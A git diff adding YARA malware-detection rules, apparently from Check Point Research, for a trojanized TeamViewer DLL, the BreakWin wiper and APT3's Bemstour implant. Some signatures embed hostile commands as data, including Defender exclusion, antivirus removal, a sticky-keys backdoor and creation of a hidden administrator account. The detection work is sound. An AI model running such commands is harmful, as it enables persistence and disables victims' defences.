+		$block_58 = { 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_59 = { 0F 31 89 ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 33 ?? EB }
+		$block_60 = { 8B ?? ?? 8B ?? ?? 6A ?? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_61 = { 6A ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_62 = { 6A ?? 6A ?? C7 ?? ?? ?? ?? ?? ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_63 = { FF 7? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_64 = { 8B ?? ?? 6A ?? 6A ?? 89 ?? ?? FF D? 5? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_65 = { FF 7? ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_66 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? ?? 5? 8B ?? ?? 5? 5? 8B ?? ?? 0F 8C }
+		$block_67 = { 8B ?? ?? 5? 6A ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_68 = { 0F B7 ?? ?? 5? FF 1? ?? ?? ?? ?? B9 ?? ?? ?? ?? 66 ?? ?? 0F 87 }
+		$block_69 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 33 ?? F6 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_70 = { 5? 8B ?? 5? 5? 66 ?? ?? ?? ?? 5? 5? 5? 8B ?? C6 ?? ?? ?? 0F 82 }
+		$block_71 = { 0F B7 ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? 33 ?? 66 ?? ?? ?? 75 }
+		$block_72 = { 8B ?? ?? 6A ?? 6A ?? 89 ?? FF D? 5? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_73 = { 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_74 = { 0F B7 ?? ?? 33 ?? 83 ?? ?? 33 ?? 33 ?? 89 ?? ?? 3B ?? 0F 8C }
+		$block_75 = { 8D ?? ?? 5? FF 7? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_76 = { FF 7? ?? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_77 = { 0F B6 ?? 8A ?? ?? ?? ?? ?? FE ?? F6 ?? 88 ?? ?? 80 F? ?? 72 }
+		$block_78 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$block_79 = { 5? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_80 = { 0F B7 ?? ?? 03 ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 0F 85 }
+		$block_81 = { 5? 68 ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_82 = { 6A ?? 6A ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_83 = { 5? 6A ?? 6A ?? FF D? 5? FF D? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_84 = { 5? 68 ?? ?? ?? ?? 6A ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_85 = { 8B ?? ?? 83 ?? ?? 33 ?? 8B ?? F3 ?? 8B ?? ?? 0F 94 ?? 89 }
+		$block_86 = { 0F B7 ?? ?? 83 ?? ?? ?? 2B ?? 4? 89 ?? ?? 8B ?? 32 ?? 8D }
+		$block_87 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_88 = { 6A ?? 8D ?? ?? 5? 6A ?? 5? 5? FF 7? ?? FF D? 85 ?? 0F 85 }
+		$block_89 = { 8B ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_90 = { 8B ?? ?? 33 ?? 85 ?? 0F 94 ?? 8B ?? 89 ?? 85 ?? 0F 84 }
+		$block_91 = { 68 ?? ?? ?? ?? 6A ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_92 = { 8D ?? ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_93 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 5? 8B ?? 5? 5? C9 C2 }
+		$block_94 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_95 = { 33 ?? 83 ?? ?? 0F 95 ?? 89 ?? ?? 4? 89 ?? 33 ?? EB }
+		$block_96 = { 0F B7 ?? ?? 2B ?? 4? 83 ?? ?? ?? 89 ?? ?? 8B ?? 8D }
+		$block_97 = { 5? 5? 6A ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_98 = { 0F B7 ?? 66 ?? ?? 83 ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_99 = { 5? 6A ?? 6A ?? FF D? 5? FF D? 8B ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648" or
+		hash.sha256(0, filesize) == "8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93" or
+		12 of them
+}
diff --git a/yara-mikesxrs/Checkpoint/TeamViwer_backdoor.yar b/yara-mikesxrs/Checkpoint/TeamViwer_backdoor.yar
new file mode 100644
index 0000000..8a49fb3
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/TeamViwer_backdoor.yar
@@ -0,0 +1,16 @@
+rule TeamViwer_backdoor
+{
+
+meta:
+date = "2019-04-14"
+description = "Detects malicious TeamViewer DLLs"
+reference = "https://research.checkpoint.com/2019/finteam-trojanized-teamviewer-against-government-targets/"
+
+strings:
+
+// PostMessageW hook function
+$x1 = {55 8b ec 8b 45 0c 3d 12 01 00 00 75 05 83 c8 ff eb 12 8b 55 14 52 8b 55 10 52 50 8b 45 08 50 e8}
+
+condition:
+uint16(0) == 0x5a4d and $x1
+}
diff --git a/yara-mikesxrs/Checkpoint/ZZ_breakwin_config.yar b/yara-mikesxrs/Checkpoint/ZZ_breakwin_config.yar
new file mode 100644
index 0000000..fcab6f7
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/ZZ_breakwin_config.yar
@@ -0,0 +1,14 @@
+rule ZZ_breakwin_config {
+    meta:
+        description = "Detects the header of the encrypted config files, assuming known encryption key."
+        reference = "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/"
+        author = "Check Point Research"
+        date = "22-07-2021"
+        hash = "948febaab71727217303e0aabb9126f242aa51f89caa7f070a3da76c4f5699ed"
+        hash = "2d35bb7c02062ff2fba4424a267c5c83351405281a1870f52d02f3712a547a22"
+        hash = "68e95a3ccde3ea22b8eb8adcf0ad53c7993b2ea5316948e31d9eadd11b5151d7"
+    strings:
+        $conf_header = {1A 69 45 47 5E 46 4A 06 03 E4 34 0B 06 1D ED 2F 02 15 02 E5 57 4D 59 59 D1 40 20 22}
+    condition:
+        $conf_header at 0
+}
diff --git a/yara-mikesxrs/Checkpoint/ZZ_breakwin_meteor_batch_files.yar b/yara-mikesxrs/Checkpoint/ZZ_breakwin_meteor_batch_files.yar
new file mode 100644
index 0000000..1bb9026
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/ZZ_breakwin_meteor_batch_files.yar
@@ -0,0 +1,23 @@
+rule ZZ_breakwin_meteor_batch_files {
+    meta:
+        description = "Detect the batch files used in the attacks"
+        reference = "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/"
+        author = "Check Point Research"
+        date = "22-07-2021"
+    strings:
+        $filename_0 = "mscap.bmp"
+        $filename_1 = "mscap.jpg"
+        $filename_2 = "msconf.conf"
+        $filename_3 = "msmachine.reg"
+        $filename_4 = "mssetup.exe"
+        $filename_5 = "msuser.reg"
+        $filename_6 = "msapp.exe"
+        $filename_7 = "bcd.rar"
+        $filename_8 = "bcd.bat"
+        $filename_9 = "msrun.bat"
+        $command_line_0 = "powershell -Command \"%exclude_command% '%defender_exclusion_folder%"
+        $command_line_1 = "start /b \"\" update.bat hackemall"
+    condition:
+        4 of ($filename_*) or
+        any of ($command_line_*)
+}
diff --git a/yara-mikesxrs/Checkpoint/ZZ_breakwin_stardust_vbs.yar b/yara-mikesxrs/Checkpoint/ZZ_breakwin_stardust_vbs.yar
new file mode 100644
index 0000000..cc93fa1
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/ZZ_breakwin_stardust_vbs.yar
@@ -0,0 +1,20 @@
+rule ZZ_breakwin_stardust_vbs {
+    meta:
+        description = "Detect the VBS files that where found in the attacks on targets in Syria"
+        reference = "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/"
+        author = "Check Point Research"
+        date = "22-07-2021"
+        hash = "38a419cd9456e40961c781e16ceee99d970be4e9235ccce0b316efe68aba3933"
+        hash = "62a984981d14b562939294df9e479ac0d65dfc412d0449114ccb2a0bc93769b0"
+        hash = "4d994b864d785abccef829d84f91d949562d0af934114b65056315bf59c1ef58"
+        hash = "eb5237d56c0467b5def9a92e445e34eeed9af2fee28f3a2d2600363724d6f8b0"
+        hash = "5553ba3dc141cd63878a7f9f0a0e67fb7e887010c0614efd97bbc6c0be9ec2ad"
+    strings:
+        $url_template = "progress.php?hn=\" & CN & \"&dt=\" & DT & \"&st="
+        $compression_password_1 = "YWhZMFU1VlZGdGNFNWlhMVlVMnhTMWtOVlJVWWNGTk9iVTQxVW10V0ZFeFJUMD0r"
+        $compression_password_2 = "YWlvcyBqQCNAciNxIGpmc2FkKnIoOUZURjlVSjBSRjJRSlJGODlKSDIzRmloIG8"
+        $uninstall_kaspersky = "Shell.Run \"msiexec.exe /x \" & productcode & \" KLLOGIN="
+        $is_avp_running = "isProcessRunning(\".\", \"avp.exe\") Then"
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/Checkpoint/ZZ_breakwin_wiper.yar b/yara-mikesxrs/Checkpoint/ZZ_breakwin_wiper.yar
new file mode 100644
index 0000000..cbd5058
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/ZZ_breakwin_wiper.yar
@@ -0,0 +1,120 @@
+rule ZZ_breakwin_wiper {
+    meta:
+        description = "Detects the BreakWin wiper that was used in attacks in Syria"
+        reference = "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/"
+        author = "Check Point Research"
+        date = "22-07-2021"
+        hash = "2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b"
+        hash = "6709d332fbd5cde1d8e5b0373b6ff70c85fee73bd911ab3f1232bb5db9242dd4"
+        hash = "d71cc6337efb5cbbb400d57c8fdeb48d7af12a292fa87a55e8705d18b09f516e"
+    strings:
+        $debug_str_meteor_1 = "the program received an invalid number of arguments" wide
+        $debug_str_meteor_2 = "End interval logger. Resuming writing every log" wide
+        $debug_str_meteor_0 = "failed to initialize configuration from file" wide
+        $debug_str_meteor_3 = "Meteor is still alive." wide
+        $debug_str_meteor_4 = "Exiting main function because of some error" wide
+        $debug_str_meteor_5 = "Meteor has finished. This shouldn't be possible because of the is-alive loop." wide
+        $debug_str_meteor_6 = "Meteor has started." wide
+        $debug_str_meteor_7 = "Could not hide current console." wide
+        $debug_str_meteor_8 = "Could not get the window handle used by the console." wide
+        $debug_str_meteor_9 = "Failed to find base-64 data size" wide
+        $debug_str_meteor_10 = "Running locker thread" wide
+        $debug_str_meteor_11 = "Failed to encode wide-character string as Base64" wide
+        $debug_str_meteor_12 = "Wiper operation failed." wide
+        $debug_str_meteor_13 = "Screen saver disable failed." wide
+        $debug_str_meteor_14 = "Failed to generate password of length %s. Generating a default one." wide
+        $debug_str_meteor_15 = "Failed to delete boot configuration" wide
+        $debug_str_meteor_16 = "Could not delete all BCD entries." wide
+        $debug_str_meteor_17 = "Finished deleting BCD entries." wide
+        $debug_str_meteor_18 = "Failed to change lock screen" wide
+        $debug_str_meteor_19 = "Boot configuration deleted successfully" wide
+        $debug_str_meteor_20 = "Failed to kill all winlogon processes" wide
+        $debug_str_meteor_21 = "Changing passwords of all users to" wide
+        $debug_str_meteor_22 = "Failed to change the passwords of all users" wide
+        $debug_str_meteor_23 = "Failed to run the locker thread" wide
+        $debug_str_meteor_24 = "Screen saver disabled successfully." wide
+        $debug_str_meteor_25 = "Generating random password failed" wide
+        $debug_str_meteor_26 = "Locker installation failed" wide
+        $debug_str_meteor_27 = "Failed to set auto logon." wide
+        $debug_str_meteor_28 = "Failed to initialize interval logger. Using a dummy logger instead." wide
+        $debug_str_meteor_29 = "Succeeded setting auto logon for" wide
+        $debug_str_meteor_30 = "Failed disabling the first logon privacy settings user approval." wide
+        $debug_str_meteor_31 = "Failed disabling the first logon animation." wide
+        $debug_str_meteor_32 = "Waiting for new winlogon process" wide
+        $debug_str_meteor_33 = "Failed to isolate from domain" wide
+        $debug_str_meteor_34 = "Failed creating scheduled task for system with name %s." wide
+        $debug_str_meteor_35 = "Failed to get the new token of winlogon." wide
+        $debug_str_meteor_36 = "Failed adding new admin user." wide
+        $debug_str_meteor_37 = "Failed changing settings for the created new user." wide
+        $debug_str_meteor_38 = "Failed disabling recovery mode." wide
+        $debug_str_meteor_39 = "Logging off users on Windows version 8 or above" wide
+        $debug_str_meteor_40 = "Succeeded setting boot policy to ignore all errors." wide
+        $debug_str_meteor_41 = "Succeeded creating scheduled task for system with name" wide
+        $debug_str_meteor_42 = "Succeeded disabling recovery mode" wide
+        $debug_str_meteor_43 = "Failed to log off all sessions" wide
+        $debug_str_meteor_44 = "Failed to delete shadowcopies." wide
+        $debug_str_meteor_45 = "Failed logging off session: " wide
+        $debug_str_meteor_46 = "Failed setting boot policy to ignore all errors." wide
+        $debug_str_meteor_47 = "Successfully logged off all local sessions, except winlogon." wide
+        $debug_str_meteor_48 = "Succeeded creating scheduled task with name %s for user %s." wide
+        $debug_str_meteor_49 = "Killing all winlogon processes" wide
+        $debug_str_meteor_50 = "Logging off users in Windows 7" wide
+        $debug_str_meteor_51 = "Failed logging off all local sessions, except winlogon." wide
+        $debug_str_meteor_52 = "Failed creating scheduled task with name %s for user %s." wide
+        $debug_str_meteor_53 = "Succeeded deleting shadowcopies." wide
+        $debug_str_meteor_54 = "Logging off users in Windows XP" wide
+        $debug_str_meteor_55 = "Failed changing settings for the created new user." wide
+        $debug_str_meteor_56 = "Could not open file %s. error message: %s" wide
+        $debug_str_meteor_57 = "Could not write to file %s. error message: %s" wide
+        $debug_str_meteor_58 = "tCould not tell file pointer location on file %s." wide
+        $debug_str_meteor_59 = "Could not set file pointer location on file %s to offset %s." wide
+        $debug_str_meteor_60 = "Could not read from file %s. error message: %s" wide
+        $debug_str_meteor_61 = "Failed to wipe file %s" wide
+        $debug_str_meteor_62 = "attempted to access encrypted file in offset %s, but it only supports offset 0" wide
+        $debug_str_meteor_63 = "Failed to create thread. Error message: %s" wide
+        $debug_str_meteor_64 = "Failed to wipe file %s" wide
+        $debug_str_meteor_65 = "failed to get configuration value with key %s" wide
+        $debug_str_meteor_66 = "failed to parse the configuration from file %s" wide
+        $debug_str_meteor_67 = "Failed posting to server, received unknown exception" wide
+        $debug_str_meteor_68 = "Failed posting to server, received std::exception" wide
+        $debug_str_meteor_69 = "Skipping %s logs. Writing log number %s:" wide
+        $debug_str_meteor_70 = "Start interval logger. Writing logs with an interval of %s logs." wide
+        $debug_str_meteor_71 = "failed to write message to log file %s" wide
+        $debug_str_meteor_72 = "The log message is too big: %s/%s characters." wide
+        $debug_str_stardust_0 = "Stardust has started." wide
+        $debug_str_stardust_1 = "0Vy0qMGO" ascii wide
+        $debug_str_comet_0 = "Comet has started." wide
+        $debug_str_comet_1 = "Comet has finished." wide
+        $str_lock_my_pc = "Lock My PC 4" ascii wide
+        $config_entry_0 = "state_path" ascii
+        $config_entry_1 = "state_encryption_key" ascii
+        $config_entry_2 = "log_server_port" ascii
+        $config_entry_3 = "log_file_path" ascii
+        $config_entry_4 = "log_encryption_key" ascii
+        $config_entry_5 = "log_server_ip" ascii
+        $config_entry_6 = "processes_to_kill" ascii
+        $config_entry_7 = "process_termination_timeout" ascii
+        $config_entry_8 = "paths_to_wipe" ascii
+        $config_entry_9 = "wiping_stage_logger_interval" ascii
+        $config_entry_10 = "locker_exe_path" ascii
+        $config_entry_11 = "locker_background_image_jpg_path" ascii
+        $config_entry_12 = "auto_logon_path" ascii
+        $config_entry_13 = "locker_installer_path" ascii
+        $config_entry_14 = "locker_password_hash" ascii
+        $config_entry_15 = "users_password" ascii
+        $config_entry_16 = "locker_background_image_bmp_path" ascii
+        $config_entry_17 = "locker_registry_settings_files" ascii
+        $config_entry_18 = "cleanup_script_path" ascii
+        $config_entry_19 = "is_alive_loop_interval" ascii
+        $config_entry_20 = "cleanup_scheduled_task_name" ascii
+        $config_entry_21 = "self_scheduled_task_name" ascii
+        $encryption_asm = {33 D2 8B C3 F7 75 E8 8B 41 04 8B 4E 04 8A 04 02 02 C3 32 04 1F 88 45 F3 39 4E 08}
+        $random_string_generation = {33 D2 59 F7 F1 83 ?? ?? 08 66 0F BE 82 ?? ?? ?? 00 0F B7 C8 8B C7}
+    condition:
+        uint16(0) == 0x5A4D and
+        (
+                6 of them or
+                $encryption_asm or 
+                $random_string_generation
+        )
+}
diff --git a/yara-mikesxrs/Checkpoint/apt3_bemstour_implant_byte_patch.yar b/yara-mikesxrs/Checkpoint/apt3_bemstour_implant_byte_patch.yar
new file mode 100644
index 0000000..b5d06ac
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/apt3_bemstour_implant_byte_patch.yar
@@ -0,0 +1,39 @@
+rule apt3_bemstour_implant_byte_patch
+{
+meta:
+
+description = "Detects an implant used by Bemstour exploitation tool (APT3)"
+reference = "https://research.checkpoint.com/2019/upsynergy/"
+author = "Mark Lechtik"
+company = "Check Point Software Technologies LTD."
+date = "2019-06-25"
+sha256 = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
+
+/*
+
+0x41b7e1L C745B8558BEC83                mov dword ptr [ebp - 0x48], 0x83ec8b55
+0x41b7e8L C745BCEC745356                mov dword ptr [ebp - 0x44], 0x565374ec
+0x41b7efL C745C08B750833                mov dword ptr [ebp - 0x40], 0x3308758b
+0x41b7f6L C745C4C957C745                mov dword ptr [ebp - 0x3c], 0x45c757c9
+0x41b7fdL C745C88C4C6F61                mov dword ptr [ebp - 0x38], 0x616f4c8c
+
+*/
+
+strings:
+
+$chunk_1 = {
+
+C7 45 ?? 55 8B EC 83
+C7 45 ?? EC 74 53 56
+C7 45 ?? 8B 75 08 33
+C7 45 ?? C9 57 C7 45
+C7 45 ?? 8C 4C 6F 61
+
+}
+
+condition:
+    any of them
+}
+
+ 
+
diff --git a/yara-mikesxrs/Checkpoint/apt3_bemstour_implant_command_stack_variable.yar b/yara-mikesxrs/Checkpoint/apt3_bemstour_implant_command_stack_variable.yar
new file mode 100644
index 0000000..b0d0721
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/apt3_bemstour_implant_command_stack_variable.yar
@@ -0,0 +1,169 @@
+rule apt3_bemstour_implant_command_stack_variable
+{
+meta:
+
+description = "Detecs an implant used by Bemstour exploitation tool (APT3)"
+reference = "https://research.checkpoint.com/2019/upsynergy/"
+author = "Mark Lechtik"
+company = "Check Point Software Technologies LTD."
+date = "2019-06-25"
+sha256 = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
+
+
+strings:
+
+
+/*
+
+0x41ba18L C78534FFFFFF636D642E          mov dword ptr [ebp - 0xcc], 0x2e646d63
+0x41ba22L C78538FFFFFF65786520          mov dword ptr [ebp - 0xc8], 0x20657865
+0x41ba2cL C7853CFFFFFF2F632063          mov dword ptr [ebp - 0xc4], 0x6320632f
+0x41ba36L C78540FFFFFF6F707920          mov dword ptr [ebp - 0xc0], 0x2079706f
+0x41ba40L C78544FFFFFF2577696E          mov dword ptr [ebp - 0xbc], 0x6e697725
+0x41ba4aL C78548FFFFFF64697225          mov dword ptr [ebp - 0xb8], 0x25726964
+0x41ba54L C7854CFFFFFF5C737973          mov dword ptr [ebp - 0xb4], 0x7379735c
+0x41ba5eL C78550FFFFFF74656D33          mov dword ptr [ebp - 0xb0], 0x336d6574
+0x41ba68L C78554FFFFFF325C636D          mov dword ptr [ebp - 0xac], 0x6d635c32
+0x41ba72L C78558FFFFFF642E6578          mov dword ptr [ebp - 0xa8], 0x78652e64
+0x41ba7cL C7855CFFFFFF65202577          mov dword ptr [ebp - 0xa4], 0x77252065
+0x41ba86L C78560FFFFFF696E6469          mov dword ptr [ebp - 0xa0], 0x69646e69
+0x41ba90L C78564FFFFFF72255C73          mov dword ptr [ebp - 0x9c], 0x735c2572
+0x41ba9aL C78568FFFFFF79737465          mov dword ptr [ebp - 0x98], 0x65747379
+0x41baa4L C7856CFFFFFF6D33325C          mov dword ptr [ebp - 0x94], 0x5c32336d
+0x41baaeL C78570FFFFFF73657468          mov dword ptr [ebp - 0x90], 0x68746573
+0x41bab8L C78574FFFFFF632E6578          mov dword ptr [ebp - 0x8c], 0x78652e63
+0x41bac2L C78578FFFFFF65202F79          mov dword ptr [ebp - 0x88], 0x792f2065
+0x41baccL 83A57CFFFFFF00                and dword ptr [ebp - 0x84], 0
+
+*/
+
+$chunk_1 = {
+
+C7 85 ?? ?? ?? ?? 63 6D 64 2E
+C7 85 ?? ?? ?? ?? 65 78 65 20
+C7 85 ?? ?? ?? ?? 2F 63 20 63
+C7 85 ?? ?? ?? ?? 6F 70 79 20
+C7 85 ?? ?? ?? ?? 25 77 69 6E
+C7 85 ?? ?? ?? ?? 64 69 72 25
+C7 85 ?? ?? ?? ?? 5C 73 79 73
+C7 85 ?? ?? ?? ?? 74 65 6D 33
+C7 85 ?? ?? ?? ?? 32 5C 63 6D
+C7 85 ?? ?? ?? ?? 64 2E 65 78
+C7 85 ?? ?? ?? ?? 65 20 25 77
+C7 85 ?? ?? ?? ?? 69 6E 64 69
+C7 85 ?? ?? ?? ?? 72 25 5C 73
+C7 85 ?? ?? ?? ?? 79 73 74 65
+C7 85 ?? ?? ?? ?? 6D 33 32 5C
+C7 85 ?? ?? ?? ?? 73 65 74 68
+C7 85 ?? ?? ?? ?? 63 2E 65 78
+C7 85 ?? ?? ?? ?? 65 20 2F 79
+83 A5 ?? ?? ?? ?? 00
+}
+
+
+
+
+/*
+
+0x41baeeL C785D8FEFFFF636D6420          mov dword ptr [ebp - 0x128], 0x20646d63
+0x41baf8L C785DCFEFFFF2F632022          mov dword ptr [ebp - 0x124], 0x2220632f
+0x41bb02L C785E0FEFFFF6E657420          mov dword ptr [ebp - 0x120], 0x2074656e
+0x41bb0cL C785E4FEFFFF75736572          mov dword ptr [ebp - 0x11c], 0x72657375
+0x41bb16L C785E8FEFFFF20636573          mov dword ptr [ebp - 0x118], 0x73656320
+0x41bb20L C785ECFEFFFF73757070          mov dword ptr [ebp - 0x114], 0x70707573
+0x41bb2aL C785F0FEFFFF6F727420          mov dword ptr [ebp - 0x110], 0x2074726f
+0x41bb34L C785F4FEFFFF3171617A          mov dword ptr [ebp - 0x10c], 0x7a617131
+0x41bb3eL C785F8FEFFFF23454443          mov dword ptr [ebp - 0x108], 0x43444523
+0x41bb48L C785FCFEFFFF202F6164          mov dword ptr [ebp - 0x104], 0x64612f20
+0x41bb52L C78500FFFFFF64202626          mov dword ptr [ebp - 0x100], 0x26262064
+0x41bb5cL C78504FFFFFF206E6574          mov dword ptr [ebp - 0xfc], 0x74656e20
+0x41bb66L C78508FFFFFF206C6F63          mov dword ptr [ebp - 0xf8], 0x636f6c20
+0x41bb70L C7850CFFFFFF616C6772          mov dword ptr [ebp - 0xf4], 0x72676c61
+0x41bb7aL C78510FFFFFF6F757020          mov dword ptr [ebp - 0xf0], 0x2070756f
+0x41bb84L C78514FFFFFF61646D69          mov dword ptr [ebp - 0xec], 0x696d6461
+0x41bb8eL C78518FFFFFF6E697374          mov dword ptr [ebp - 0xe8], 0x7473696e
+0x41bb98L C7851CFFFFFF7261746F          mov dword ptr [ebp - 0xe4], 0x6f746172
+0x41bba2L C78520FFFFFF72732063          mov dword ptr [ebp - 0xe0], 0x63207372
+0x41bbacL C78524FFFFFF65737375          mov dword ptr [ebp - 0xdc], 0x75737365
+0x41bbb6L C78528FFFFFF70706F72          mov dword ptr [ebp - 0xd8], 0x726f7070
+0x41bbc0L C7852CFFFFFF74202F61          mov dword ptr [ebp - 0xd4], 0x612f2074
+0x41bbcaL C78530FFFFFF64642200          mov dword ptr [ebp - 0xd0], 0x226464
+0x41bbd4L 6A5C                          push 0x5c
+
+*/
+
+$chunk_2 = {
+
+C7 85 ?? ?? ?? ?? 63 6D 64 20
+C7 85 ?? ?? ?? ?? 2F 63 20 22
+C7 85 ?? ?? ?? ?? 6E 65 74 20
+C7 85 ?? ?? ?? ?? 75 73 65 72
+C7 85 ?? ?? ?? ?? 20 63 65 73
+C7 85 ?? ?? ?? ?? 73 75 70 70
+C7 85 ?? ?? ?? ?? 6F 72 74 20
+C7 85 ?? ?? ?? ?? 31 71 61 7A
+C7 85 ?? ?? ?? ?? 23 45 44 43
+C7 85 ?? ?? ?? ?? 20 2F 61 64
+C7 85 ?? ?? ?? ?? 64 20 26 26
+C7 85 ?? ?? ?? ?? 20 6E 65 74
+C7 85 ?? ?? ?? ?? 20 6C 6F 63
+C7 85 ?? ?? ?? ?? 61 6C 67 72
+C7 85 ?? ?? ?? ?? 6F 75 70 20
+C7 85 ?? ?? ?? ?? 61 64 6D 69
+C7 85 ?? ?? ?? ?? 6E 69 73 74
+C7 85 ?? ?? ?? ?? 72 61 74 6F
+C7 85 ?? ?? ?? ?? 72 73 20 63
+C7 85 ?? ?? ?? ?? 65 73 73 75
+C7 85 ?? ?? ?? ?? 70 70 6F 72
+C7 85 ?? ?? ?? ?? 74 20 2F 61
+C7 85 ?? ?? ?? ?? 64 64 22 00
+6A 5C
+
+}
+
+/*
+
+0x41be22L C745D057696E45                mov dword ptr [ebp - 0x30], 0x456e6957
+0x41be29L C745D478656300                mov dword ptr [ebp - 0x2c], 0x636578
+0x41be30L C7459C47657450                mov dword ptr [ebp - 0x64], 0x50746547
+0x41be37L C745A0726F6341                mov dword ptr [ebp - 0x60], 0x41636f72
+0x41be3eL C745A464647265                mov dword ptr [ebp - 0x5c], 0x65726464
+0x41be45L C745A873730000                mov dword ptr [ebp - 0x58], 0x7373
+0x41be4cL C745C443726561                mov dword ptr [ebp - 0x3c], 0x61657243
+0x41be53L C745C874654669                mov dword ptr [ebp - 0x38], 0x69466574
+0x41be5aL C745CC6C654100                mov dword ptr [ebp - 0x34], 0x41656c
+0x41be61L C745B857726974                mov dword ptr [ebp - 0x48], 0x74697257
+0x41be68L C745BC6546696C                mov dword ptr [ebp - 0x44], 0x6c694665
+0x41be6fL C745C065000000                mov dword ptr [ebp - 0x40], 0x65
+0x41be76L C745AC436C6F73                mov dword ptr [ebp - 0x54], 0x736f6c43
+0x41be7dL C745B06548616E                mov dword ptr [ebp - 0x50], 0x6e614865
+0x41be84L C745B4646C6500                mov dword ptr [ebp - 0x4c], 0x656c64
+0x41be8bL 894DE8                        mov dword ptr [ebp - 0x18], ecx
+
+*/
+
+$chunk_3 = {
+
+C7 45 ?? 57 69 6E 45
+C7 45 ?? 78 65 63 00
+C7 45 ?? 47 65 74 50
+C7 45 ?? 72 6F 63 41
+C7 45 ?? 64 64 72 65
+C7 45 ?? 73 73 00 00
+C7 45 ?? 43 72 65 61
+C7 45 ?? 74 65 46 69
+C7 45 ?? 6C 65 41 00
+C7 45 ?? 57 72 69 74
+C7 45 ?? 65 46 69 6C
+C7 45 ?? 65 00 00 00
+C7 45 ?? 43 6C 6F 73
+C7 45 ?? 65 48 61 6E
+C7 45 ?? 64 6C 65 00
+89 4D ??
+
+}
+
+
+condition:
+    any of them
+}
diff --git a/yara-mikesxrs/Checkpoint/apt3_bemstour_strings.yar b/yara-mikesxrs/Checkpoint/apt3_bemstour_strings.yar
new file mode 100644
index 0000000..d8bdb58
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/apt3_bemstour_strings.yar
@@ -0,0 +1,68 @@
+rule apt3_bemstour_strings
+{
+meta:
+
+description = "Detects strings used by the Bemstour exploitation tool"
+reference = "https://research.checkpoint.com/2019/upsynergy/"
+author = "Mark Lechtik"
+company = "Check Point Software Technologies LTD."
+date = "2019-06-25"
+sha256 = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
+strings:
+
+$dbg_print_1 = "leaked address is 0x%llx" ascii wide
+$dbg_print_2 = "========== %s ==========" ascii wide
+$dbg_print_3 = "detailVersion:%d" ascii wide
+$dbg_print_4 = "create pipe twice failed" ascii wide
+$dbg_print_5 = "WSAStartup function failed with error: %d" ascii wide
+$dbg_print_6 = "can't open input file." ascii wide
+$dbg_print_7 = "Allocate Buffer Failed." ascii wide
